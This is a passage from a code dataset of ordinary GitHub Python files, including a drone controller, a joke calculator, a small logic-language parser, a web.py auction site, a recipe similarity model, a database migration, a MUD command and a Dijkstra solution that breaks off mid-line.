attitude=self.stabilizer.rollPitchStabPos(np.array([self.x,self.y]),np.array([self.vx,self.vy]),self.yaw,np.array([self.originX,self.originY]))\n thrust=self.stabilizer.thrustStab(self.z, self.vz,0.05, True, self.roll, self.pitch)\n yaw=self.stabilizer.yawStab(self.yaw,0)\n self.cf.commander.send_setpoint(attitude[0],attitude[1],0,thrust)\n time.sleep(0.01)\n self.cf.close_link()\n\n def loop_sleep(self, timeStart):\n \"\"\" Sleeps the control loop to make it run at a specified rate \"\"\"\n deltaTime = 1.0/float(self.rate) - (time.time() - timeStart)\n if deltaTime > 0:\n time.sleep(deltaTime)\n else:\n print('Could not make controller loop deadline')\n\nif __name__ == \"__main__\":\n stick = jst.joyStickThread()\n stick.start()\n print(\"initiated joystick\")\n cflib.crtp.init_drivers(enable_debug_driver=False)\n control = Controller(URI)\n control.set_joystick(stick)\n","repo_name":"Maximum-Kernel-Panic/schizoflie","sub_path":"controller_multi.py","file_name":"controller_multi.py","file_ext":"py","file_size_in_byte":14116,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"29849144990","text":"msg_0 = \"Enter an equation\"\r\nmsg_1 = \"Do you even know what numbers are? Stay focused!\"\r\nmsg_2 = \"Yes ... an interesting math operation. You've slept through all classes, haven't you?\"\r\nmsg_3 = \"Yeah... division by zero. Smart move...\"\r\nmsg_4 = \"Do you want to store the result? (y / n):\" \r\nmsg_5 = \"Do you want to continue calculations? (y / n):\"\r\nmsg_6 = \" ... lazy\"\r\nmsg_7 = \" ... very lazy\"\r\nmsg_8 = \" ... very, very lazy\"\r\nmsg_9 = \"You are\"\r\nmsg_10 = \"Are you sure? It is only one digit! (y / n)\"\r\nmsg_11 = \"Don't be silly! It's just one number! Add to the memory? (y / n)\"\r\nmsg_12 = \"Last chance! Do you really want to embarrass yourself? (y / n)\"\r\n\r\n\r\nmsg = [msg_0, msg_1, msg_2, msg_3, msg_4, msg_5, msg_6, msg_7, msg_8, msg_9, msg_10, msg_11, msg_12]\r\n\r\nmemory = 0\r\n\r\ndef isfloat(number):\r\n try:\r\n float(number)\r\n return True\r\n except ValueError:\r\n return False\r\n \r\n# check if number is a digit (used in function check()) \r\ndef is_one_digit(v):\r\n if (v < 10) and (v > -10) and ((v % 1) == 0):\r\n return True\r\n else:\r\n return False\r\n \r\n# checking the lever of laziness\r\ndef check(x, y, oper):\r\n msg = ''\r\n if is_one_digit(x) and is_one_digit(y):\r\n msg = msg + msg_6\r\n if (x == 1) or (y == 1):\r\n msg = msg + msg_7\r\n if ((x == 0) or (y == 0)) and (oper in ['+', '-', '*']):\r\n msg = msg + msg_8\r\n if msg != '':\r\n msg = msg_9 + msg\r\n print(msg) \r\n\r\n\r\nwhile True:\r\n \r\n #read values\r\n print(msg_0)\r\n x, calc, y = input().split()\r\n\r\n #assigninig memory\r\n if x == 'M':\r\n x = memory\r\n if y == 'M':\r\n y = memory\r\n \r\n \r\n #checking if x, calc, y are correct\r\n if isfloat(x)==False or isfloat(y)==False:\r\n print(msg_1)\r\n continue\r\n if (calc in ['+', '-', '*', '/'])==False:\r\n print(msg_2)\r\n continue\r\n \r\n #str -> float\r\n x = float(x)\r\n y = float(y)\r\n \r\n check(x, y, calc)\r\n \r\n \r\n if calc == '+':\r\n result = x + y\r\n elif calc == '-':\r\n result = x - y\r\n elif calc == '*':\r\n result = x * y\r\n elif calc == '/' and y == 0:\r\n print(msg_3)\r\n continue\r\n else:\r\n result = x / y\r\n \r\n print(result)\r\n \r\n #answer: memory\r\n continue_loop = True\r\n \r\n while continue_loop == True:\r\n print(msg_4)\r\n answer_4 = input() \r\n if answer_4 == 'y':\r\n \r\n \r\n if is_one_digit(result):\r\n msg_index = 10\r\n \r\n while True:\r\n print(msg[msg_index])\r\n answer3 = input()\r\n if answer3 == 'y':\r\n if msg_index < 12:\r\n msg_index += 1\r\n continue\r\n else:\r\n memory = result\r\n continue_loop = False\r\n break\r\n elif answer3 == 'n':\r\n continue_loop = False\r\n break\r\n else:\r\n continue\r\n\r\n else:\r\n memory = result\r\n continue_loop = False\r\n \r\n elif answer_4 == 'n':\r\n break\r\n else:\r\n continue \r\n \r\n while True:\r\n print(msg_5)\r\n answer_5 = input()\r\n if (answer_5 in ['y','n']) == False:\r\n continue\r\n else:\r\n break\r\n if answer_5 == 'y':\r\n continue\r\n else:\r\n break\r\n","repo_name":"KatarzynaBanach/Honest_Calculator","sub_path":"honest_calculator.py","file_name":"honest_calculator.py","file_ext":"py","file_size_in_byte":3630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"30577941396","text":"# cook your dish here\nfor i in range(int(input())):\n x,y,xr,yr,d=input().split()\n x,y,xr,yr,d=int(x),int(y),int(xr),int(yr),int(d)\n xr=d*xr\n yr=d*yr\n if(x>=xr and y>=yr):\n print(\"YES\")\n else:\n print(\"NO\")\n","repo_name":"Pragna235/CodeChef","sub_path":"CCISLAND.py","file_name":"CCISLAND.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"42791265008","text":"# Notes:\n# Undefined variables are assigned to _\n# Variables: Normal [A-Za-z0-9_], surround with ''s to extend to full Unicode\n\nimport re, string\n\nclass ParseElement:\n def getChildren(self):\n return []\n\nclass ElementAtom(ParseElement):\n def __init__(self, text):\n self.text = text\n def getChildren(self):\n return []\n def __repr__(self):\n return self.text\n def __str__(self):\n return \"ElementAtom('%s')\" % self.text\n def pretty(self):\n return \"'%s'\" % self.text\n def __eq__(self, other):\n if isinstance(other, ElementAtom):\n return self.text == other.text\n return False\nclass ElementVariable(ParseElement):\n def __init__(self, name):\n self.name = name\n def __str__(self):\n return \"ElementVariable('%s')\" % self.name\n __repr__ = __str__\n def pretty(self):\n return \"%s\" % self.name\n def __eq__(self, other):\n if isinstance(other, ElementVariable):\n return self.name == other.name\n return False\nclass ElementContainer(ParseElement):\n def __init__(self, children, text=\"\"):\n self.children = children\n self.text = text\n def getChildren(self):\n return self.children\n def __str__(self):\n return \"ElementContainer([%s]])\" % \", \".join(map(str, self.children))\n __repr__ = __str__\n def pretty(self):\n lines = [\"Container( '%s'\" % \" \".join(self.text)]\n for j, ch in enumerate(self.children):\n lines.extend([\"\\t\" + line for line in ch.pretty().split(\"\\n\")])\n lines[-1] += \",\"\n lines.append(\")\")\n return \"\\n\".join(lines)\n def __eq__(self, other):\n if isinstance(other, ElementContainer):\n return self.children == other.children\n return False\n\nPAIRS = [\":-\"]\n\nPATTERN_ALPHANUMERIC = \"[\\\\w\\\\d_]\"\n\ndef matches(regex, st):\n res = re.search(regex, st)\n return res != None and res.span() == (0, len(st))\n\ndef tokenize(code):\n res = []\n last = code[0]\n current = \"\"\n for ch in code:\n if ch == \" \":\n continue\n if (not matches(PATTERN_ALPHANUMERIC, ch) or not matches(PATTERN_ALPHANUMERIC, last)) and last + ch not in PAIRS and len(current) > 0:\n res += [current]\n current = ch\n else:\n current += ch\n last = ch\n return res + [current]\n\nSYMBOL_PRIORITY = [\n \".\",\n \":-\",\n \",\"\n]\nOPEN_PARENS = \"([{\"\nCLOSE_PARENS = \")]}\"\n\ndef parse(code):\n if len(code) == 0:\n return ElementAtom(\"__NONE__\")\n if len(code) == 1 or type(code) == str:\n first = code if type(code) == str else code[0]\n if first[0] in string.ascii_uppercase:\n return ElementVariable(first)\n return ElementAtom(first)\n if any(map(lambda x: x in OPEN_PARENS or x in CLOSE_PARENS, code)):\n firstParen = list(map(lambda x: x in OPEN_PARENS or x in CLOSE_PARENS, code)).index(True)\n depth = 0\n index = 0\n for i in range(firstParen, len(code)):\n if code[i] in OPEN_PARENS:\n depth += 1\n elif code[i] in CLOSE_PARENS:\n depth -= 1\n if depth == 0:\n index = i\n break\n before = code[:firstParen]\n inside_parens = code[firstParen : index + 1]\n after = code[index + 1:]\n if before == after == []:\n return ElementContainer([ElementAtom(inside_parens[0]), parse(inside_parens[1:-1]), ElementAtom(inside_parens[-1])], code)\n if before:\n parsedBeforeLast = parse(before[-1])\n if isinstance(parsedBeforeLast, ElementAtom) or isinstance(parsedBeforeLast, ElementVariable):\n if after:\n if len(before) > 1:\n return ElementContainer([parse(before[:-1]), parsedBeforeLast, parse(inside_parens), parse(after)], code)\n return ElementContainer([parsedBeforeLast, parse(inside_parens), parse(after)], code)\n if len(before) > 1:\n return ElementContainer([parse(before[:-1]), parsedBeforeLast, parse(inside_parens)], code)\n return ElementContainer([parsedBeforeLast, parse(inside_parens)], code)\n\n if after:\n return ElementContainer([parse(before), parse(inside_parens), parse(after)], code)\n return ElementContainer([parse(before), parse(inside_parens)], code)\n if after:\n return ElementContainer([parse(inside_parens), parse(after)], code)\n if any(map(lambda x: x in SYMBOL_PRIORITY, code)):\n highestPrio = sorted(zip(code, range(len(code))), key=lambda x: SYMBOL_PRIORITY.index(x[0]) if x[0] in SYMBOL_PRIORITY else len(SYMBOL_PRIORITY))[0]\n before = code[:highestPrio[1]]\n after = code[highestPrio[1] + 1:]\n if before:\n if after:\n return ElementContainer([parse(before), parse(highestPrio[0]), parse(after)], code)\n return ElementContainer([parse(before), parse(highestPrio[0])], code)\n if after:\n return ElementContainer([parse(highestPrio[0]), parse(after)], code)\n return ElementContainer([parse(highestPrio[0])], code)\n return ElementContainer(list(map(parse, code)), code)\n\n","repo_name":"loovjo/PryLog","sub_path":"Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":5288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3226637255","text":"from typing import List, Optional\nfrom pydantic import BaseModel\n\n\nclass GroupInfo(BaseModel):\n id: int\n name: str\n to_addresses: str\n\n\nclass GroupsOut(BaseModel):\n groups: List[GroupInfo]\n\n class Config:\n schema_extra = {\n \"example\": [{\n \"id\": 1,\n \"name\": \"Foo\",\n \"to_addresses\": [\"google@yahoo.co.jp\", \"amazon@gmail.com\"]\n },{\n \"id\": 2,\n \"name\": \"Faa\",\n \"to_addresses\": [\"google@yahoo.co.jp\", \"amazon@gmail.com\"]\n },\n ]\n }","repo_name":"redgov/connection_checker_server","sub_path":"src/responses/groups.py","file_name":"groups.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"69921291023","text":"import psutil\nimport time\nimport sys\nimport os\nimport signal\n\nfrom pathlib import Path\n\ncurr_dir = Path(__file__).parent.absolute()\ncode_path = curr_dir / 'code' / 'target_code.py'\n\nreplacement_code = curr_dir / 'code_a.py'\n\n# ! If not terminated, the child process will still run even if this runner is closed!\ndef kill_proc_tree(pid, sig=signal.SIGTERM, include_parent=True,\n timeout=None, on_terminate=None):\n \"\"\"Kill a process tree (including grandchildren) with signal\n \"sig\" and return a (gone, still_alive) tuple.\n \"on_terminate\", if specified, is a callabck function which is\n called as soon as a child terminates.\n \"\"\"\n assert pid != os.getpid(), \"won't kill myself\"\n parent = psutil.Process(pid)\n children = parent.children(recursive=True)\n if include_parent:\n children.append(parent)\n for p in children:\n p.send_signal(sig)\n gone, alive = psutil.wait_procs(children, timeout=timeout,\n callback=on_terminate)\n return (gone, alive)\n\ndef replace_code():\n if code_path.exists():\n code_path.unlink()\n\n print('New Replaced Path : ')\n print(str(replacement_code.replace(code_path)))\n\ndef run_code():\n proc = psutil.Popen([sys.executable, str(code_path)])\n time.sleep(10) # Let the code run for a while\n kill_proc_tree(proc.pid)\n\n\nprint('Initially running Code A...')\ntime.sleep(1)\n\n# Run the code\nrun_code()\n\n# Stop and replace the code\nreplace_code()\n\n# Run the code after replacement\nprint('Now running Code Z...')\ntime.sleep(1)\nrun_code()\n","repo_name":"Ellianto/Skripsi-OTA","sub_path":"Python/Experiments/SubprocessMgmt/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10518697331","text":"#!/usr/bin/env python \n\nimport sys; sys.path.insert(0, 'lib') # this line is necessary for the rest\nimport os # of the imports to work!\n\nimport web\nimport sqlitedb\nfrom jinja2 import Environment, FileSystemLoader\nfrom datetime import datetime\n\n###########################################################################################\n##########################DO NOT CHANGE ANYTHING ABOVE THIS LINE!##########################\n###########################################################################################\n\n######################BEGIN HELPER METHODS######################\n\n# helper method to convert times from database (which will return a string)\n# into datetime objects. This will allow you to compare times correctly (using\n# ==, !=, <, >, etc.) instead of lexicographically as strings.\n\n# Sample use:\n# current_time = string_to_time(sqlitedb.getTime())\n\ndef string_to_time(date_str):\n return datetime.strptime(date_str, '%Y-%m-%d %H:%M:%S')\n\n# helper method to render a template in the templates/ directory\n#\n# `template_name': name of template file to render\n#\n# `**context': a dictionary of variable names mapped to values\n# that is passed to Jinja2's templating engine\n#\n# See curr_time's `GET' method for sample usage\n#\n# WARNING: DO NOT CHANGE THIS METHOD\ndef render_template(template_name, **context):\n extensions = context.pop('extensions', [])\n globals = context.pop('globals', {})\n\n jinja_env = Environment(autoescape=True,\n loader=FileSystemLoader(os.path.join(os.path.dirname(__file__), 'templates')),\n extensions=extensions,\n )\n jinja_env.globals.update(globals)\n\n web.header('Content-Type','text/html; charset=utf-8', unique=True)\n\n return jinja_env.get_template(template_name).render(context)\n\n#####################END HELPER METHODS#####################\n\nurls = ('/', 'home_page',\n '/currtime', 'curr_time',\n '/selecttime', 'select_time',\n '/add_bid', 'add_bid',\n '/search', 'search',\n '/see_detail', 'see_detail'\n # TODO: add additional URLs here\n # first parameter => URL, second parameter => class name\n )\n\nclass home_page:\n def GET(self):\n return render_template('home_page.html')\n\nclass search:\n def GET(self):\n return render_template('search.html')\n\n def POST(self):\n post_params = web.input()\n \n itemID = post_params['itemID']\n category = post_params['category']\n itemDescription = post_params['item_description']\n minPrice = post_params['minPrice']\n maxPrice = post_params['maxPrice']\n status = post_params['status'] # open/close/all/notStarted\n \n result = sqlitedb.searchItem(itemID, category, itemDescription, minPrice, maxPrice)\n \n search_result = []\n for s in result:\n Started = string_to_time(s.Started)\n Ends = string_to_time(s.Ends)\n current_time = string_to_time(sqlitedb.getTime())\n if (status == 'open'):\n if (Started <= current_time and current_time < Ends\n and (s.Buy_Price == None or s.Currently < s.Buy_Price)):\n search_result.append(s)\n elif (status == 'close' ):\n if (Ends <= current_time or (s.Buy_Price != None and s.Currently >= s.Buy_Price)):\n search_result.append(s)\n elif (status == 'notStarted'):\n if (current_time < Started):\n search_result.append(s)\n else: #all\n search_result.append(s)\n \n return render_template('search.html', search_result = search_result)\n\nclass add_bid:\n def GET(self):\n return render_template('add_bid.html')\n\n def POST(self):\n # pass\n post_params = web.input()\n \n itemID = post_params['itemID']\n userID = post_params['userID']\n price = post_params['price']\n\n if (price == '') :\n return render_template('add_bid.html', message = \"Bid price is invalid.\", add_result = False) \n\n current_time = sqlitedb.getTime()\n addResult , update_message = sqlitedb.insertBid(itemID, userID, price, current_time)\n \n return render_template('add_bid.html', message = update_message, add_result = addResult)\n\nclass curr_time:\n # A simple GET request, to '/currtime'\n #\n # Notice that we pass in `current_time' to our `render_template' call\n # in order to have its value displayed on the web page\n def GET(self):\n current_time = sqlitedb.getTime()\n return render_template('curr_time.html', time = current_time)\n\nclass select_time:\n # Aanother GET request, this time to the URL '/selecttime'\n def GET(self):\n return render_template('select_time.html')\n\n # A POST request\n #\n # You can fetch the parameters passed to the URL\n # by calling `web.input()' for **both** POST requests\n # and GET requests\n def POST(self):\n post_params = web.input()\n MM = post_params['MM']\n dd = post_params['dd']\n yyyy = post_params['yyyy']\n HH = post_params['HH']\n mm = post_params['mm']\n ss = post_params['ss']\n enter_name = post_params['entername']\n\n\n selected_time = '%s-%s-%s %s:%s:%s' % (yyyy, MM, dd, HH, mm, ss)\n update_message = '(Hello, %s. Previously selected time was: %s.)' % (enter_name, selected_time)\n # TODO: save the selected time as the current time in the database\n \n ret, updateMessage = sqlitedb.setCurrentTime(selected_time)\n \n if (not ret) :\n update_message = updateMessage\n # Here, we assign `update_message' to `message', which means\n # we'll refer to it in our template as `message'\n return render_template('select_time.html', message = update_message)\n\nclass see_detail:\n def GET(self):\n itemID = web.input().ItemID\n itemResult, categoriesResult, bidsResult = sqlitedb.searchItemDetails(itemID)\n currentTime = sqlitedb.getTime()\n\n status = \"Open\"\n time = string_to_time(currentTime)\n if (time >= string_to_time(itemResult[\"Ends\"]) or (itemResult[\"Buy_Price\"] != None and float(itemResult[\"Currently\"]) >= float(itemResult[\"Buy_Price\"]))) :\n status = \"Close\"\n elif (time < string_to_time(itemResult[\"Started\"])) :\n status = \"Not Started\"\n \n lastBidder = bidsResult[-1] if bidsResult else {}\n\n return render_template('see_details.html', item_result = itemResult, categories_result = categoriesResult, bids_result = bidsResult, status = status, last_bidder = lastBidder)\n \n###########################################################################################\n##########################DO NOT CHANGE ANYTHING BELOW THIS LINE!##########################\n###########################################################################################\n\nif __name__ == '__main__':\n web.internalerror = web.debugerror\n app = web.application(urls, globals())\n app.add_processor(web.loadhook(sqlitedb.enforceForeignKey))\n app.run()\n","repo_name":"WenFuLee/CS-564-Database-Management-Systems","sub_path":"PP3/auctionbase/web.py/auctionbase.py","file_name":"auctionbase.py","file_ext":"py","file_size_in_byte":7178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26249152968","text":"import os\nimport sys\nfrom pathlib import Path\n\n\nMOD_NAME = sys.argv[1]\n\nsections = []\n\nfor root, dirs, files in os.walk(f'{MOD_NAME}/'):\n for file in files:\n section_name = f\"{root[len(MOD_NAME):]}/{file}\".removeprefix(\"//\").removeprefix(\"/\")\n sections.append((section_name, open(Path(root, file), 'r').read()+\"\\n\"))\n\nfor root, dirs, files in os.walk('acolyte/'):\n for file in files:\n section_name = f\"{root[7:]}/{file}\".removeprefix(\"//\").removeprefix(\"/\")\n if section_name in map(lambda x: x[0], sections): continue\n sections.append((section_name, open(Path(root, file), 'r').read()+\"\\n\"))\n\nsections.sort()\n\nopen(f'build/{MOD_NAME}.esc', 'w').close()\nmod_file = open(f'build/{MOD_NAME}.esc', 'a')\nfor file, section in sections:\n mod_file.write(f\"[[{file}]]\\n\")\n mod_file.write(section)\n","repo_name":"voxxal/easel","sub_path":"cmpl.py","file_name":"cmpl.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72902825743","text":"#!/usr/bin/env python\nfrom past.utils import old_div\nfrom builtins import range\nfrom sys import argv\nfrom EMAN2 import *\nfrom math import *\nfrom numpy import *\n\nimg=EMData(argv[1],int(argv[2]))\n\nresultx=[]\nresulty=[]\nfor i in range(2,30):\n\tcsum=0\n\tn=0\n\tfor ang in arange(old_div(360.0,i),360.0,old_div(360.0,i)):\n\t\timc=img.copy()\n\t\timc.rotate(ang,0,0)\n#\t\tdisplay((imc,img))\n\t\tcsum+=imc.cmp(\"ccc\",img,{\"negative\":0})\n\t\tn+=1\n\t\t\n\tresultx.append(i)\n\tresulty.append(old_div(csum,n))\n\tprint(i,old_div(csum,n))\n\n\n# This is a plot of peak values vs peak location\nplot((resultx,resulty))\n\n\n","repo_name":"cryoem/eman2","sub_path":"examples/e2symtest2d.py","file_name":"e2symtest2d.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":127,"dataset":"github-code","pt":"47"} +{"seq_id":"14142552345","text":"# <while문> 반복문\n# 조건 생성 : while 조건:\n# 루프 시간 : 조건이 만족하는 한 무한 루프\n# if문 이용 >> 루프 빠져나가기\n# 1. while문의 처음으로 이동 : continue\n# 2. 강제 탈출 : break\n\nnum = 0\nwhile True: #무한루프 : True를 무조건 만족하므로 무한히 돌아감\n num += 1\n if num % 2 == 1: #num % 2 == 1 : num이 홀수라면?\n continue #반복문을 처음 조건부 문장으로 돌려보냄. 그러면 홀수 일때 print(num) 출력을 못하므로, 20까지의 짝수만 출력됨\n print(\"현재 num은 {}입니다.\".format(num))\n if num == 20: # a=b : 값 b를 a에 대입 / a==b : 조건부 문장에서 양쪽 값이 같은가?\n break # 반복문 강제 탈출","repo_name":"devappendCBangJ/Legacy_Python","sub_path":"pythonProject/13_while문_break_continue.py","file_name":"13_while문_break_continue.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"16786340902","text":"# -*- coding: utf-8 -*-\nimport time\nimport src.setting as SETTING\n\nfrom src.connect import Connect\nfrom src.parse import Parse\nfrom src.download import DownLoad\n\ndef main():\n\n #读取配置信息\n city = SETTING.CITY[0]\n position = SETTING.POSITION[0]\n\n \"\"\"\n 下面是针对大学生的配置\n 如果不需要的话注释掉就可以了,然后只需要删除Connect()里面的相关传参就可以了\n \"\"\"\n gx = SETTING.SCHOOL['gx']\n needAddtionalResult = SETTING.SCHOOL['needAddtionalResult']\n isSchoolJob = SETTING.SCHOOL['isSchoolJob']\n xl = SETTING.SCHOOL['xl']\n\n\n # 第一次请求开始\n response = Connect(kd=position, city=city, gx=gx\n , needAddtionalResult=needAddtionalResult, isSchoolJob=isSchoolJob, xl=xl).getConnect()\n para = Parse(response).getInfo()\n count = Parse(response).getPageSize()\n print(\"请求第\" + '1页,下载过程中请勿打开下载文件')\n DownLoad(para, city=city, position=position).downLoad()\n # 第一次请求结束\n\n for i in range(1, count + 1):\n\n response = Connect(kd=position, city=city, pn=str(i + 1), gx=gx\n , needAddtionalResult=needAddtionalResult, isSchoolJob=isSchoolJob, xl=xl).getConnect()\n para = Parse(response).getInfo()\n DownLoad(para, city=city, position=position).downLoad(next=True)\n print(\"请求第\" + str(i + 1) + \"页,下载过程中请勿打开下载文件\")\n time.sleep(2)\n print(\"下载完成\")\n\nif __name__ == '__main__':\n main()","repo_name":"yuhuanghub/lgSpider","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"40255291565","text":"import lib.utility as utility\nfrom lib.interpreters.command import Command\nfrom lib.interpreters.constants import Position, Range\n\n\n\"\"\"\nCommand Attributes;\nattribute (default): description\n\naggro\t\t\t\t(False)\t\t\t\t: does it start combat?\ncanTarget\t\t\t(False)\t\t\t\t: can it take an automatic single target?\nrequireTarget\t\t(False)\t\t\t\t: does it require a target?\nuseInCombat\t\t\t(False)\t\t\t\t: can you use it in combat?\nuseWhileJustDied\t(True)\t\t\t\t: can you use it immediately after dying?\ntargetSelf\t\t\t(True)\t\t\t\t: can you target yourself?\nRange\t\t\t\t(Range.room)\t\t: for skills that canTarget, what is the range of potential targets?\nminPosition\t\t\t(Position.standing)\t: what is the minimum position as defined in constants.py?\n\"\"\"\n\nclass Look(Command):\n def __init__(self, game):\n super(Look, self).__init__(game, 'look')\n\n def execute(self, args, sender):\n # Preliminary checks\n self.test(self.checkPosition, (sender, [Position.standing, Position.resting, Position.fighting]))\n self.test(self.hasAtLeastOneArgument, args, override='Look at what?')\n\n thing = self.test(self.getTargetFromListByName, (args[0], sender.room.items + [mobile for mobile in sender.game.mobiles if mobile.room is sender.room]))\n\n d = thing.getStat('description')\n if not d:\n d = 'You see nothing special.'\n\n self.appendToCommandBuffer(sender, d)\n for mobile in sender.inRoomExcept(sender):\n self.appendToCommandBuffer(mobile, sender.name + ' looks at ' + thing.getName(mobile))\n # FIX ME: show message to everyone in room...\n\n\ncommandList = [Look]\n","repo_name":"OscarHeller/rd","sub_path":"game/lib/interpreters/status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9928562435","text":"import numpy as np\nimport pickle\n\nclass Similarity_model(object):\n\n\t@staticmethod\n\tdef load_model_from_file(file_path):\n\t\twith open(file_path, 'rb') as f:\n\t\t\tmodel = pickle.load(f)\n\t\treturn model\n\n\tdef init_indices(self):\n\t\tself.ingredient_index = {}\n\t\tfor idx, ingredient_id in enumerate(self.ingredient_names) or []:\n\t\t\tself.ingredient_index[ingredient_id] = idx\n\t\tself.recipe_index = {}\n\t\tfor idx, recipe_id in enumerate(self.recipe_names) or []:\n\t\t\tself.recipe_index[recipe_id] = idx\n\n\tdef recommend_ingredients(self, input_ingredients):\n\t\tinput_vector = np.zeros([len(self.ingredient_similarity), 1])\n\t\tindices = [self.ingredient_index[ingredient_id] for ingredient_id in input_ingredients if ingredient_id in self.ingredient_index]\n\t\tif len(indices) == 0:\n\t\t\t# probably this should raise an exception...\n\t\t\treturn []\n\t\tinput_vector[indices] = 1\n\t\tscores = np.squeeze(input_vector.transpose().dot(self.ingredient_similarity))\n\t\t# scores = self.ingredient_similarity.dot(input_vector)\n\t\trecom_indices = np.argsort(scores)[::-1]\n\t\tscores = np.array(scores)[recom_indices]\n\t\trecommendations = [{\n\t\t\t'ingredient': self.ingredient_names[index],\n\t\t\t'score': scores[n]\n\t\t} for n, index in enumerate(recom_indices)]\n\t\treturn {\n\t\t\t'query': [self.ingredient_names[idx] for idx in indices],\n\t\t\t'recommendations': recommendations\n\t\t}\n\n\t@staticmethod\n\tdef compute_similarity(mat):\n\t\tsimilarity = np.matmul(mat, np.transpose(mat))\n\t\treturn (similarity - np.identity(len(similarity))).astype(np.float16)\n\n\t@staticmethod\n\tdef symmetrize(mat):\n\t\treturn (mat + mat.T - np.diag(mat.diagonal())).astype(np.float16)\n\n\tdef set_recipe_similarity(self, mat):\n\t\tif mat != None:\n\t\t\tself._recipe_similarity = np.tril(mat).astype(np.float16) if self.store_triangular else mat.astype(np.float16)\n\t\telse:\n\t\t\tself._recipe_similarity = None\n\n\tdef get_recipe_similarity(self):\n\t\tif self._recipe_similarity != None:\n\t\t\treturn Similarity_model.symmetrize(self._recipe_similarity) if self.store_triangular else self._recipe_similarity\n\t\telse:\n\t\t\treturn None\n\n\trecipe_similarity = property(get_recipe_similarity, set_recipe_similarity)\n\n\tdef set_ingredient_similarity(self, mat):\n\t\tself._ingredient_similarity = np.tril(mat).astype(np.float16) if self.store_triangular else mat.astype(np.float16)\n\n\tdef get_ingredient_similarity(self):\n\t\treturn Similarity_model.symmetrize(self._ingredient_similarity) if self.store_triangular else self._ingredient_similarity\n\n\tingredient_similarity = property(get_ingredient_similarity, set_ingredient_similarity)\n\n\tdef __init__(self, \n\t\trecipe_similarity,\n\t\tingredient_similarity,\n\t\trecipe_names,\n\t\tingredient_names,\n\t\tstore_triangular=False\n\t):\n\n\t\tself.store_triangular = store_triangular\n\t\tself.recipe_similarity = recipe_similarity\n\t\tself.ingredient_similarity = ingredient_similarity\n\t\tself.recipe_names = recipe_names\n\t\tself.ingredient_names = ingredient_names\n\n\t\tself.init_indices()\n","repo_name":"lucabaroffio/food_data_recommend","sub_path":"src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2893,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"74243679183","text":"\"\"\"empty message\n\nRevision ID: d1db8dcc190d\nRevises: \nCreate Date: 2018-05-03 16:21:14.351605\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = 'd1db8dcc190d'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('recordings',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('recorded_at', sa.DateTime(), nullable=True),\n sa.Column('received_at', sa.DateTime(), nullable=True),\n sa.Column('device_id', sa.Integer(), nullable=True),\n sa.Column('record_type', sa.Integer(), nullable=False),\n sa.Column('record_value', sa.String(), nullable=False),\n sa.Column('raw_record', postgresql.JSON(astext_type=sa.Text()), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_recordings_received_at'), 'recordings', ['received_at'], unique=False)\n op.create_index(op.f('ix_recordings_recorded_at'), 'recordings', ['recorded_at'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_recordings_recorded_at'), table_name='recordings')\n op.drop_index(op.f('ix_recordings_received_at'), table_name='recordings')\n op.drop_table('recordings')\n # ### end Alembic commands ###\n","repo_name":"esensar/university-final-iot-backend","sub_path":"migrations/versions/d1db8dcc190d_.py","file_name":"d1db8dcc190d_.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21142755490","text":"import sys\ninput = lambda: sys.stdin.readline().rstrip()\n\nfrom heapq import *\n\ndef dijkstra(start):\n q = []\n distance[start] = 0\n heappush(q, [0, start])\n\n while q:\n dist, now = heappop(q)\n\n if distance[now] < dist:\n continue\n\n for nxt_node, nxt_cost in graph[now]:\n cost = dist + nxt_cost\n\n if distance[nxt_node] > cost:\n parent[nxt_node] = now\n distance[nxt_node] = cost\n heappush(q, [cost, nxt_node])\n\n\nn, m = map(int, input().split())\n\ndistance = [int(1e9)]*(n+1)\nparent = [0]*(n+1)\ngraph = [[] for _ in range(n+1)]\n\nfor _ in range(m):\n a, b, c = map(int, input().split())\n graph[a].append([b, c])\n graph[b].append([a, c])\n\ndijkstra(1)\n\nprint(n-1)\nfor i in range(2, n+1):\n print(i, 